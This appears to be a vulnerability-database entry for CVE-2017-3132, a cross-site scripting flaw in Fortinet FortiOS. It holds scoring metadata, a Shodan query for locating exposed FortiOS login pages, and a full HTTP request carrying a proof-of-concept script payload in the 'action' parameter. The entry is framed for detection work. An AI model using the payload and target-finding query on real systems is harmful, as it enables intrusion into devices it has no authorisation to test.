🔙 목록으로 돌아가기

CVE-2017-3132: Fortinet FortiOS < 5.6.0 - Cross-Site Scripting

TitleFortinet FortiOS < 5.6.0 - Cross-Site Scripting
Authorritikchaddha
SeverityMedium
ImpactSuccessful exploitation could lead to execution of malicious javascript.
RemediationApply the latest security patches or upgrade to new version to mitigate the XSS vulnerability.
CVSS Score6.1
EPSS Score0.08784
CVE IDCVE-2017-3132
CWE IDCWE-79
Shodan Queryhttp.html:"/remote/login" "xxxxxxxx"http.favicon.hash:945408572cpe:"cpe:2.3:o:fortinet:fortios"
Tags cve cve2017 fortinet fortios xss vuln

🔍 Vulnerability Description

A Cross-Site Scripting vulnerability in Fortinet FortiOS versions 5.6.0 and earlier allows attackers to Execute unauthorized code or commands via the action input during the activation of a FortiToken.

🌐 HTTP Request

GET /p/user/ftoken/activate/user/guest/?action=%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3Cscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-3132.yaml

🦈 Packet Capture: ⬇️ Download cve-2017-3132.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A